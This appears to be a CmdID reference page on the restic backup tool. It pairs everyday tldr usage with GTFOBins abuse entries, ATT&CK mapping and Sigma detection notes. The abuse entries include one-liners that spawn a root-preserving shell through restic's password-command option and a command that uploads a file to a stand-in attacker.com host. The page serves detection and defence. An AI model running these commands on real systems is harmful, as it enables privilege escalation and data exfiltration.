CmdID

CmdID / Programs / Linux and Unix

restic

A fast and secure backup program. tldr-pages

GTFOBins command, shell, upload 1 ATT&CK technique 5 documented commands

Opens CmdID with your command. It is read in your browser and sent nowhere.

How restic is abused

documented by GTFOBins

command

backup

command

backup

--password-command

shell T1059.004 Command and Scripting Interpreter: Unix Shell

backup

-c

shell T1059.004 Command and Scripting Interpreter: Unix Shell

backup

--password-command
-c

upload

backup

-r

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for restic.

5 documented commands

from GTFOBins, each read by CmdID

command unprivileged, with sudo, as SUID

RESTIC_PASSWORD_COMMAND='/path/to/command' restic backup
Identify

command unprivileged, with sudo, as SUID

restic --password-command='/path/to/command' backup
Identify

shell unprivileged, with sudo, as SUID

RESTIC_PASSWORD_COMMAND='/bin/sh -c "/bin/sh 0<&2 1<&2"' restic backup
Identify

As SUID:

RESTIC_PASSWORD_COMMAND='/bin/sh -p -c "/bin/sh -p 0<&2 1<&2"' restic backup

shell unprivileged, with sudo, as SUID

restic --password-command='/bin/sh -c "/bin/sh 0<&2 1<&2"' backup
Identify

As SUID:

restic --password-command='/bin/sh -p -c "/bin/sh -p 0<&2 1<&2"' backup

upload unprivileged, with sudo, as SUID

restic backup -r rest:http://attacker.com:12345/x /path/to/input-file
Identify

None of the 5 commands CmdID reads trips a Sigma process-creation rule. These commands are from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for restic. CmdID reads the line of each that runs restic.

What detects it

Sigma process creation rules
T1059.004Command and Scripting Interpreter: Unix Shell

Everyday use

from tldr-pages, CC BY 4.0

Initialize a backup repository in the specified local directory

restic init --repo path/to/repositoryIdentify

Back up a directory to the repository

restic --repo path/to/repository backup path/to/directoryIdentify

Matches GTFOBins abuse: command

Show backup snapshots currently stored in the repository

restic --repo path/to/repository snapshotsIdentify

Of the 3 examples CmdID reads, 1 matches GTFOBins abuse or trips a Sigma process-creation rule.